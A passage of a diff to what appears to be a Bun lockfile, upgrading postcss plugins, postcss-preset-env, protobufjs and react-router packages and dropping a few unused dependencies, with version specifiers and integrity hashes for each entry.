+ "postcss-focus-visible": ["postcss-focus-visible@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-VG1a9kBKizUBWS66t5xyB4uLONBnvZLCmZXxT40FALu8EF0QgVZBYy5ApC0KhmpHsv+pvHMJHB3agKHwmocWjw=="],
- "postcss-focus-within": ["postcss-focus-within@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AHAJ89UQBcqBvFgQJE9XasGuwMNkKsGj4D/f9Uk60jFmEBHpAL14DrnSk3Rj+SwZTr/WUG+mh+Rvf8fid/346w=="],
+ "postcss-focus-within": ["postcss-focus-within@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dvql0fzUTG+gcJYp+KTbag5vAjuo94LDYZHkqDV1rnf5gPGer1v/SrmIZBdvKU8moep3HbcbujqGjzSb3DL53Q=="],
"postcss-font-variant": ["postcss-font-variant@5.0.0", "", { "peerDependencies": { "postcss": "^8.1.0" } }, "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA=="],
- "postcss-gap-properties": ["postcss-gap-properties@4.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-V5OuQGw4lBumPlwHWk/PRfMKjaq/LTGR4WDTemIMCaMevArVfCCA9wBJiL1VjDAd+rzuCIlkRoRvDsSiAaZ4Fg=="],
+ "postcss-gap-properties": ["postcss-gap-properties@7.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-PSDF2QoZMRUbsINvXObQgxx4HExRP85QTT8qS/YN9fBsCPWCqUuwqAD6E6PNp0BqL/jU1eyWUBORaOK/J/9LDA=="],
- "postcss-image-set-function": ["postcss-image-set-function@5.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Sszjwo0ubETX0Fi5MvpYzsONwrsjeabjMoc5YqHvURFItXgIu3HdCjcVuVKGMPGzKRhgaknmdM5uVWInWPJmeg=="],
+ "postcss-image-set-function": ["postcss-image-set-function@8.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rEGNkOkNusf4+IuMmfEoIdLuVmvbExGbmG+MIsyV6jR5UaWSoyPcAYHV/PxzVDCmudyF+2Nh/o6Ub2saqUdnuA=="],
"postcss-import": ["postcss-import@15.1.0", "", { "dependencies": { "postcss-value-parser": "^4.0.0", "read-cache": "^1.0.0", "resolve": "^1.1.7" }, "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew=="],
- "postcss-initial": ["postcss-initial@4.0.1", "", { "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ=="],
-
"postcss-js": ["postcss-js@4.0.1", "", { "dependencies": { "camelcase-css": "^2.0.1" }, "peerDependencies": { "postcss": "^8.4.21" } }, "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw=="],
- "postcss-lab-function": ["postcss-lab-function@5.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fi32AYKzji5/rvgxo5zXHFvAYBw0u0OzELbeCNjEZVLUir18Oj+9RmNphtM8QdLUaUnrfx8zy8vVYLmFLkdmrQ=="],
+ "postcss-lab-function": ["postcss-lab-function@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1ZIAh8ODhZdnAb09Aq2BTenePKS1G/kUR0FwvzkQDfFtSOV64Ycv27YvV11fDycEvhIcEmgYkLABXKRiWcXRuA=="],
"postcss-load-config": ["postcss-load-config@3.1.4", "", { "dependencies": { "lilconfig": "^2.0.5", "yaml": "^1.10.2" }, "peerDependencies": { "postcss": ">=8.0.9", "ts-node": ">=9.0.0" } }, "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg=="],
- "postcss-loader": ["postcss-loader@7.3.4", "", { "dependencies": { "cosmiconfig": "^8.3.5", "jiti": "^1.20.0", "semver": "^7.5.4" }, "peerDependencies": { "postcss": "^7.0.0 || ^8.0.1", "webpack": "^5.0.0" } }, "sha512-iW5WTTBSC5BfsBJ9daFMPVrLT36MrNiC6fqOZTTaHjBNX6Pfd5p+hSBqe/fEeNd7pc13QiAyGt7VdGMw4eRC4A=="],
-
- "postcss-logical": ["postcss-logical@6.2.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aqlfKGaY0nnbgI9jwUikp4gJKBqcH5noU/EdnIVceghaaDPYhZuyJVxlvWNy55tlTG5tunRKCTAX9yljLiFgmw=="],
+ "postcss-logical": ["postcss-logical@9.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-A4LNd9dk3q/juEUA9Gd8ALhBO3TeOeYurnyHLlf2aAToD94VHR8c5Uv7KNmf8YVRhTxvWsyug4c5fKtARzyIRQ=="],
"postcss-merge-longhand": ["postcss-merge-longhand@5.1.7", "", { "dependencies": { "postcss-value-parser": "^4.2.0", "stylehacks": "^5.1.1" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ=="],
@@ -3863,7 +4131,7 @@
"postcss-nested": ["postcss-nested@6.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.11" }, "peerDependencies": { "postcss": "^8.2.14" } }, "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ=="],
- "postcss-nesting": ["postcss-nesting@11.3.0", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-JlS10AQm/RzyrUGgl5irVkAlZYTJ99mNueUl+Qab+TcHhVedLiylWVkKBhRale+rS9yWIJK48JVzQlq3LcSdeA=="],
+ "postcss-nesting": ["postcss-nesting@14.0.0", "", { "dependencies": { "@csstools/selector-resolve-nested": "^4.0.0", "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YGFOfVrjxYfeGTS5XctP1WCI5hu8Lr9SmntjfRC+iX5hCihEO+QZl9Ra+pkjqkgoVdDKvb2JccpElcowhZtzpw=="],
"postcss-normalize-charset": ["postcss-normalize-charset@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg=="],
@@ -3883,19 +4151,19 @@
"postcss-normalize-whitespace": ["postcss-normalize-whitespace@5.1.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA=="],
- "postcss-opacity-percentage": ["postcss-opacity-percentage@2.0.0", "", { "peerDependencies": { "postcss": "^8.2" } }, "sha512-lyDrCOtntq5Y1JZpBFzIWm2wG9kbEdujpNt4NLannF+J9c8CgFIzPa80YQfdza+Y+yFfzbYj/rfoOsYsooUWTQ=="],
+ "postcss-opacity-percentage": ["postcss-opacity-percentage@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ=="],
"postcss-ordered-values": ["postcss-ordered-values@5.1.3", "", { "dependencies": { "cssnano-utils": "^3.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ=="],
- "postcss-overflow-shorthand": ["postcss-overflow-shorthand@4.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HQZ0qi/9iSYHW4w3ogNqVNr2J49DHJAl7r8O2p0Meip38jsdnRPgiDW7r/LlLrrMBMe3KHkvNtAV2UmRVxzLIg=="],
+ "postcss-overflow-shorthand": ["postcss-overflow-shorthand@7.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9SLpjoUdGRoRrzoOdX66HbUs0+uDwfIAiXsRa7piKGOqPd6F4ZlON9oaDSP5r1Qpgmzw5L9Ht0undIK6igJPMA=="],
"postcss-page-break": ["postcss-page-break@3.0.4", "", { "peerDependencies": { "postcss": "^8" } }, "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ=="],
- "postcss-place": ["postcss-place@8.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Ow2LedN8sL4pq8ubukO77phSVt4QyCm35ZGCYXKvRFayAwcpgB0sjNJglDoTuRdUL32q/ZC1VkPBo0AOEr4Uiw=="],
+ "postcss-place": ["postcss-place@11.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fAifpyjQ+fuDRp2nmF95WbotqbpjdazebedahXdfBxy5sHembOLpBQ1cHveZD9ZmjK26tYM8tikeNaUlp/KfHA=="],
- "postcss-preset-env": ["postcss-preset-env@8.5.1", "", { "dependencies": { "@csstools/postcss-cascade-layers": "^3.0.1", "@csstools/postcss-color-function": "^2.2.3", "@csstools/postcss-color-mix-function": "^1.0.3", "@csstools/postcss-font-format-keywords": "^2.0.2", "@csstools/postcss-gradients-interpolation-method": "^3.0.6", "@csstools/postcss-hwb-function": "^2.2.2", "@csstools/postcss-ic-unit": "^2.0.4", "@csstools/postcss-is-pseudo-class": "^3.2.1", "@csstools/postcss-logical-float-and-clear": "^1.0.1", "@csstools/postcss-logical-resize": "^1.0.1", "@csstools/postcss-logical-viewport-units": "^1.0.3", "@csstools/postcss-media-minmax": "^1.0.4", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^1.0.4", "@csstools/postcss-nested-calc": "^2.0.2", "@csstools/postcss-normalize-display-values": "^2.0.1", "@csstools/postcss-oklab-function": "^2.2.3", "@csstools/postcss-progressive-custom-properties": "^2.3.0", "@csstools/postcss-relative-color-syntax": "^1.0.2", "@csstools/postcss-scope-pseudo-class": "^2.0.2", "@csstools/postcss-stepped-value-functions": "^2.1.1", "@csstools/postcss-text-decoration-shorthand": "^2.2.4", "@csstools/postcss-trigonometric-functions": "^2.1.1", "@csstools/postcss-unset-value": "^2.0.1", "autoprefixer": "^10.4.14", "browserslist": "^4.21.9", "css-blank-pseudo": "^5.0.2", "css-has-pseudo": "^5.0.2", "css-prefers-color-scheme": "^8.0.2", "cssdb": "^7.6.0", "postcss-attribute-case-insensitive": "^6.0.2", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^5.1.0", "postcss-color-hex-alpha": "^9.0.2", "postcss-color-rebeccapurple": "^8.0.2", "postcss-custom-media": "^9.1.5", "postcss-custom-properties": "^13.2.0", "postcss-custom-selectors": "^7.1.3", "postcss-dir-pseudo-class": "^7.0.2", "postcss-double-position-gradients": "^4.0.4", "postcss-focus-visible": "^8.0.2", "postcss-focus-within": "^7.0.2", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^4.0.1", "postcss-image-set-function": "^5.0.2", "postcss-initial": "^4.0.1", "postcss-lab-function": "^5.2.3", "postcss-logical": "^6.2.0", "postcss-nesting": "^11.3.0", "postcss-opacity-percentage": "^2.0.0", "postcss-overflow-shorthand": "^4.0.1", "postcss-page-break": "^3.0.4", "postcss-place": "^8.0.1", "postcss-pseudo-class-any-link": "^8.0.2", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^7.0.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qhWnJJjP6ArLUINWJ38t6Aftxnv9NW6cXK0NuwcLCcRilbuw72dSFLkCVUJeCfHGgJiKzX+pnhkGiki0PEynWg=="],
+ "postcss-preset-env": ["postcss-preset-env@11.2.0", "", { "dependencies": { "@csstools/postcss-alpha-function": "^2.0.3", "@csstools/postcss-cascade-layers": "^6.0.0", "@csstools/postcss-color-function": "^5.0.2", "@csstools/postcss-color-function-display-p3-linear": "^2.0.2", "@csstools/postcss-color-mix-function": "^4.0.2", "@csstools/postcss-color-mix-variadic-function-arguments": "^2.0.2", "@csstools/postcss-content-alt-text": "^3.0.0", "@csstools/postcss-contrast-color-function": "^3.0.2", "@csstools/postcss-exponential-functions": "^3.0.1", "@csstools/postcss-font-format-keywords": "^5.0.0", "@csstools/postcss-font-width-property": "^1.0.0", "@csstools/postcss-gamut-mapping": "^3.0.2", "@csstools/postcss-gradients-interpolation-method": "^6.0.2", "@csstools/postcss-hwb-function": "^5.0.2", "@csstools/postcss-ic-unit": "^5.0.0", "@csstools/postcss-initial": "^3.0.0", "@csstools/postcss-is-pseudo-class": "^6.0.0", "@csstools/postcss-light-dark-function": "^3.0.0", "@csstools/postcss-logical-float-and-clear": "^4.0.0", "@csstools/postcss-logical-overflow": "^3.0.0", "@csstools/postcss-logical-overscroll-behavior": "^3.0.0", "@csstools/postcss-logical-resize": "^4.0.0", "@csstools/postcss-logical-viewport-units": "^4.0.0", "@csstools/postcss-media-minmax": "^3.0.1", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^4.0.0", "@csstools/postcss-mixins": "^1.0.0", "@csstools/postcss-nested-calc": "^5.0.0", "@csstools/postcss-normalize-display-values": "^5.0.1", "@csstools/postcss-oklab-function": "^5.0.2", "@csstools/postcss-position-area-property": "^2.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/postcss-property-rule-prelude-list": "^2.0.0", "@csstools/postcss-random-function": "^3.0.1", "@csstools/postcss-relative-color-syntax": "^4.0.2", "@csstools/postcss-scope-pseudo-class": "^5.0.0", "@csstools/postcss-sign-functions": "^2.0.1", "@csstools/postcss-stepped-value-functions": "^5.0.1", "@csstools/postcss-syntax-descriptor-syntax-production": "^2.0.0", "@csstools/postcss-system-ui-font-family": "^2.0.0", "@csstools/postcss-text-decoration-shorthand": "^5.0.3", "@csstools/postcss-trigonometric-functions": "^5.0.1", "@csstools/postcss-unset-value": "^5.0.0", "autoprefixer": "^10.4.24", "browserslist": "^4.28.1", "css-blank-pseudo": "^8.0.1", "css-has-pseudo": "^8.0.0", "css-prefers-color-scheme": "^11.0.0", "cssdb": "^8.8.0", "postcss-attribute-case-insensitive": "^8.0.0", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^8.0.2", "postcss-color-hex-alpha": "^11.0.0", "postcss-color-rebeccapurple": "^11.0.0", "postcss-custom-media": "^12.0.1", "postcss-custom-properties": "^15.0.1", "postcss-custom-selectors": "^9.0.1", "postcss-dir-pseudo-class": "^10.0.0", "postcss-double-position-gradients": "^7.0.0", "postcss-focus-visible": "^11.0.0", "postcss-focus-within": "^10.0.0", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^7.0.0", "postcss-image-set-function": "^8.0.0", "postcss-lab-function": "^8.0.2", "postcss-logical": "^9.0.0", "postcss-nesting": "^14.0.0", "postcss-opacity-percentage": "^3.0.0", "postcss-overflow-shorthand": "^7.0.0", "postcss-page-break": "^3.0.4", "postcss-place": "^11.0.0", "postcss-pseudo-class-any-link": "^11.0.0", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^9.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-eNYpuj68cjGjvZMoSAbHilaCt3yIyzBL1cVuSGJfvJewsaBW/U6dI2bqCJl3iuZsL+yvBobcy4zJFA/3I68IHQ=="],
- "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FYTIuRE07jZ2CW8POvctRgArQJ43yxhr5vLmImdKUvjFCkR09kh8pIdlCwdx/jbFm7MiW4QP58L4oOUv3grQYA=="],
+ "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DNFZ4GMa3C3pU5dM+UCTG1CEeLtS1ZqV5DKSqCTJQMn1G5jnd/30fS8+A7H4o5bSD3MOcnx+VgI+xPE9Z5Wvig=="],
"postcss-reduce-initial": ["postcss-reduce-initial@5.1.2", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg=="],
@@ -3903,7 +4171,7 @@
"postcss-replace-overflow-wrap": ["postcss-replace-overflow-wrap@4.0.0", "", { "peerDependencies": { "postcss": "^8.0.3" } }, "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw=="],
- "postcss-selector-not": ["postcss-selector-not@7.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1zT5C27b/zeJhchN7fP0kBr16Cc61mu7Si9uWWLoA3Px/D9tIJPKchJCkUH3tPO5D0pCFmGeApAv8XpXBQJ8SQ=="],
+ "postcss-selector-not": ["postcss-selector-not@9.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xhAtTdHnVU2M/CrpYOPyRUvg3njhVlKmn2GNYXDaRJV9Ygx4d5OkSkc7NINzjUqnbDFtaKXlISOBeyMXU/zyFQ=="],
"postcss-selector-parser": ["postcss-selector-parser@6.0.15", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-rEYkQOMUCEMhsKbK66tbEU9QVIxbhN18YiniAwA7XQYTVBqrBy+P2p5JcdqsHgKM2zWylp8d7J6eszocfds5Sw=="],
@@ -3937,7 +4205,7 @@
"property-information": ["property-information@6.4.1", "", {}, "sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w=="],
- "protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+ "protobufjs": ["protobufjs@7.5.4", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg=="],
"proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="],
@@ -3945,8 +4213,6 @@
"pseudomap": ["pseudomap@1.0.2", "", {}, "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ=="],
- "psl": ["psl@1.9.0", "", {}, "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="],
-
"pstree.remy": ["pstree.remy@1.1.8", "", {}, "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w=="],
"public-encrypt": ["public-encrypt@4.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "browserify-rsa": "^4.0.0", "create-hash": "^1.1.0", "parse-asn1": "^5.0.0", "randombytes": "^2.0.1", "safe-buffer": "^5.1.2" } }, "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q=="],
@@ -3961,8 +4227,6 @@
"querystring-es3": ["querystring-es3@0.2.1", "", {}, "sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA=="],
- "querystringify": ["querystringify@2.2.0", "", {}, "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="],
-
"queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
"random-bytes": ["random-bytes@1.0.0", "", {}, "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ=="],
@@ -4003,23 +4267,21 @@
"react-is": ["react-is@17.0.2", "", {}, "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="],
- "react-lazy-load-image-component": ["react-lazy-load-image-component@1.6.0", "", { "dependencies": { "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1" }, "peerDependencies": { "react": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x", "react-dom": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x" } }, "sha512-8KFkDTgjh+0+PVbH+cx0AgxLGbdTsxWMnxXzU5HEUztqewk9ufQAu8cstjZhyvtMIPsdMcPZfA0WAa7HtjQbBQ=="],
-
"react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="],
"react-markdown": ["react-markdown@9.0.1", "", { "dependencies": { "@types/hast": "^3.0.0", "devlop": "^1.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "html-url-attributes": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "unified": "^11.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" }, "peerDependencies": { "@types/react": ">=18", "react": ">=18" } }, "sha512-186Gw/vF1uRkydbsOIkcGXw7aHq0sZOCRFFjGrr7b9+nVZg4UfA4enXCaxm4fUzecU38sWfrNDitGhshuU7rdg=="],
- "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="],
+ "react-refresh": ["react-refresh@0.18.0", "", {}, "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw=="],
- "react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="],
+ "react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
"react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="],
"react-resizable-panels": ["react-resizable-panels@3.0.6", "", { "peerDependencies": { "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-b3qKHQ3MLqOgSS+FRYKapNkJZf5EQzuf6+RLiq1/IlTHw99YrZ2NJZLk4hQIzTnnIkRg2LUqyVinu6YWWpUYew=="],
- "react-router": ["react-router@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-q2yemJeg6gw/YixRlRnVx6IRJWZD6fonnfZhN1JIOhV2iJCPeRNSH3V1ISwHf+JWcESzLC3BOLD1T07tmO5dmg=="],
+ "react-router": ["react-router@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw=="],
- "react-router-dom": ["react-router-dom@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0", "react-router": "6.22.0" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-z2w+M4tH5wlcLmH3BMMOMdrtrJ9T3oJJNsAlBJbwk+8Syxd5WFJ7J5dxMEW0/GEXD1BBis4uXRrNIz3mORr0ag=="],
+ "react-router-dom": ["react-router-dom@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2", "react-router": "6.30.3" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag=="],
